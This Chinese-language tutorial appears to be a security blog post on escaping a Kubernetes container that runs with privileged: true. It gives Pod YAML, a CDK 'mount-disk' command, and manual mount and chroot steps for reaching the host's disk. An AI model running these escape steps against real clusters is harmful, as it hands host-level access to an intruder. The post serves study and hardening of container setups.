集群安全之Privileged特权模式逃逸

2023-10-28 12:35:10 浏览数 (1)

文章前言

当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备,而K8s配置文件如果启用了"privileged: true"也可以实现挂载操作

前置知识

Security Context(安全上下文),用于定义Pod或Container的权限和访问控制,Kubernetes提供了三种配置Security Context的方法:

  • Pod Security Policy:应用于集群级别
  • Pod-level Security Context:应用于Pod级别
  • Container-level Security Context:应用于容器级别

容器级别:仅应用到指定的容器上,并且不会影响Volume

代码语言:javascript复制
apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
    - name: hello-world-container
      image: ubuntu:latest
      securityContext:
        privileged: true

Pod级别:应用到Pod内所有容器,会影响Volume

代码语言:javascript复制
apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
  securityContext:
    fsGroup: 1234
    supplementalGroups: [5678]
    seLinuxOptions:
      level: "s0:c123,c456"

PSP,集群级别:PSP是集群级的Pod安全策略,自动为集群内的Pod和Volume设置Security Context

具体实现

Step 1:使用docker拉取ubuntu镜像到本地

代码语言:javascript复制
sudo docker pull ubuntu

Step 2:创建一个Pod

代码语言:javascript复制
apiVersion: v1
kind: Pod
metadata:
  name: myapp-test
spec:
  containers:
  - image: ubuntu:latest
    name: ubuntu
    securityContext:
      privileged: true

Step 2:创建Pod

代码语言:javascript复制
kubectl create -f myapp-test.yaml

Step 3:进入Pod进行逃逸操作

代码语言:javascript复制
#进入pod
kubectl exec -it myapp-test /bin/bash

#查看磁盘
fdisk -l

Step 4:查看权限

代码语言:javascript复制
cat /proc/self/status | grep CapEff

Step 5:使用CDK进行逃逸

代码语言:javascript复制
./cdk run mount-disk

在容器内部进入挂载目录,直接管理宿主机磁盘文件(多少有一些问题)

Step 6:手动操作又存在以下问题:

代码语言:javascript复制
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash

0 人点赞